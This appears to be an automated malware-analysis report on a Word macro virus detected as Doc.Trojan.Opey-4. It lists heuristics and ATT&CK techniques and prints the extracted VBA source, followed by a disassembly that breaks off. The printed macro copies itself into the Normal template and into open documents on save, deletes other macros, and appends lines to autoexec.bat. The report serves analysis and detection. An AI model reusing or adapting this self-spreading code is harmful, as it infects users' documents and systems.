MALICIOUS
160
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Opey-4. It contains VBA macros, one of which, named 'A_OPEY_03', attempts to append commands to 'c:\autoexec.bat'. This suggests an attempt to establish persistence or execute a secondary payload. The legacy WordBasic auto-exec marker also indicates a macro-based threat.
Heuristics 3
-
ClamAV: Doc.Trojan.Opey-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Opey-4
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9065 bytes |
SHA-256: f53b6da17a13947de5db6b0ee2b2ef699003b29a6703b09762b492fdfb129a1b |
|||
|
Detection
ClamAV:
Doc.Trojan.Opey-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "A_OPEY_03"
Sub greetings()
On Error Resume Next
autoexecfile$ = "c:\autoexec.bat"
hFile = FreeFile
line1$ = ""
If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Date) = 1) And (Day(Date) = 1)) Then
line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
End If
If (Month(Date) = 11) And (Day(Date) = 1) Then
line1$ = "echo HAPPY HALLOWEEN !!!"
End If
If (Month(Date) = 2) And (Day(Date) = 14) Then
line1$ = "echo HAPPY VALENTINES DAY !!!"
End If
If line1$ <> "" Then
Open autoexecfile$ For Append Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, line1$
Print #hFile, "echo from: OPEY A."
Print #hFile, "pause"
Close hFile
End If
End Sub
Sub OnlyYou()
On Error Resume Next
NTInfected = False
For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
clan = NormalTemplate.VBProject.VBComponents(i).Name
If clan = "A_OPEY_03" Then NTInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next i
For Each opendoc In Documents
ODInfected = False
With opendoc
For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
clan = opendoc.VBProject.VBComponents(J).Name
If clan = "A_OPEY_03" Then ODInfected = True
If (clan <> "A_OPEY_03") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next J
If ODInfected = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
opendoc.SaveAs FileName:=opendoc.FullName
End If
End With
Next opendoc
If NTInfected = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:=wdOrganizerObjectProjectItems
NormalTemplate.Save
End If
Call greetings
End Sub
Sub FileSave()
On Error Resume Next
Call OnlyYou
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Call OnlyYou
Dialogs(wdDialogFileSaveAs).Show
End Sub
' Processing file: /opt/analyzer/scan_staging/56337f7bdd4748329236e011a1679f03.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/A_OPEY_03 - 4086 bytes
' Line #0:
' FuncDefn (Sub greetings())
' Line #1:
' OnError (Resume Next)
' Line #2:
' LitStr 0x000F "c:\autoexec.bat"
' St autoexecfile$
' Line #3:
' Ld Friend
' St hFile
' Line #4:
' LitStr 0x0000 ""
' St line1$
' Line #5:
' Ld Date
' ArgsLd Month 0x0001
' LitDI2 0x000C
' Eq
' Paren
' Ld Date
' ArgsLd Day 0x0001
' LitDI2 0x0019
' Eq
' Paren
' And
' Paren
' Ld Date
' ArgsLd Month 0x0001
' LitDI2 0x0001
' Eq
' Paren
' Ld Date
' ArgsLd Day 0x0001
' LitDI2 0x0001
' Eq
' Paren
' And
' Paren
' Or
' IfBlock
' Line #6:
' LitStr 0x002E "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR !!!"
' St line1$
' Line #7:
' EndIfBlock
' Line #8:
' Ld
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.